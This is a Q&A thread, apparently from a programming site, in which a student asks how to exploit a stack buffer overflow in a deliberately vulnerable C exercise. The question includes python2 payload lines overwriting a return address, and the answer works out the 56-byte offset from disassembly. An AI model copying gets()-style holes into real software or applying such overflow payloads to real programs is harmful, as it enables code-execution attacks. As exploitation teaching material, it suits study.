csecuritybuffer-overflow

buffer overflow exercise in c


I am a cybersecurity student and I was doing an exercise in which I have to access the vip_queue function through a buffer overflow without changing the value of check. I've been trying for hours but I haven't gotten any results. I hope you can help me, thank you. This is the code:

#include <stdio.h>
#include <stdlib.h>

typedef struct {
    char name[32];
    int check;
} user_data;

void banner() {
    puts(" _   _ _          _____");
    puts("| \\ | (_) ___ ___|  ___|__  _ __ _   _ _ __ ___  ___");
    puts("|  \\| | |/ __/ _ \\ |_ / _ \\| '__| | | | '_ ` _ \\/ __|");
    puts("| |\\  | | (_|  __/  _| (_) | |  | |_| | | | | | \\__ \\");
    puts("|_| \\_|_|\\___\\___|_|  \\___/|_|   \\__,_|_| |_| |_|___/");
    puts("\n\n\n");
}

void vip_queue() {
    puts("[+] Your user is in the VIP list. Thanks for subscribing :D");
    puts("===================================");
    puts("===================================");
    puts("====      CONGRATULATIONS      ====");
    puts("===================================");
    puts("====        YOU MANAGED        ====");
    puts("====   TO EXPLOIT THE BINARY   ====");
    puts("===================================");
    puts("===================================");
    puts("==  STACK BASED BUFFER OVERFLOW  ==");
    puts("===================================");
    puts("===================================");
}

void get_user_info() {
    
    user_data data;
    data.check = 0;

    puts("[+] Welcome to NiceForums!");
    puts("[+] Please, submit your name or alias to continue with the subscription.");

    puts("Name or Alias:");
    gets(data.name);

    if ( data.check != 0 ) {
        puts("[!] ALERT! Stop trying strange stuff >:(");
        exit(1);
    }
    return; 
}

int main() {

    banner();
    
    get_user_info();

    puts("[!] There are no places available for non VIP users and you don't figure as one.");
}

i tried:

python2 -c "print 32 * b'A' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output9.txt

where \xa7\x11\x40\x00\x00\x00\x00\x00 is the address where the function vip_queue is stored at and also:

python2 -c "print 36 * b'A' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output8.txt

python2 -c "print 32 * b'A' + 4 * b'0' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output7.txt

python2 -c "print 32 * b'A' + '\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output78

I executed the code with this:

gcc -no-pie -fno-stack-protector nice_forums.c -o nice_forums

Solution

  • You're going in the right direction, but you're making incorrect assumptions about the location of the return address. We can take a look at the disassembled function using objdump -S.

    For me, it looks like this (may be different for you):

    [...]
    0000000000401262 <get_user_info>:
    
    void get_user_info() {
      401262:       55                      push   %rbp
      401263:       48 89 e5                mov    %rsp,%rbp
      401266:       48 83 ec 30             sub    $0x30,%rsp
      [...]
      4012d0:       c9                      leave
      4012d1:       c3                      ret
    [...]
    

    So, in this case, we have 0x30 + 8 bytes (push %rbp) = 56 bytes before the return address. Therefore, you need 32 bytes for name, 4 zero bytes for check, plus 20 extra bytes and then the address of vip_queue.

    EDIT:

    But why 56?

    1. The rbp register is pushed into the stack - 8 bytes;
    2. sizeof(user_data) == 36 - so 36 more bytes;
    3. AFAIK, the x86-64 ABI requires the stack pointer to be 16-byte aligned (a multiple of 16) - so 36 bytes become 48.

    8 + 48 = 56.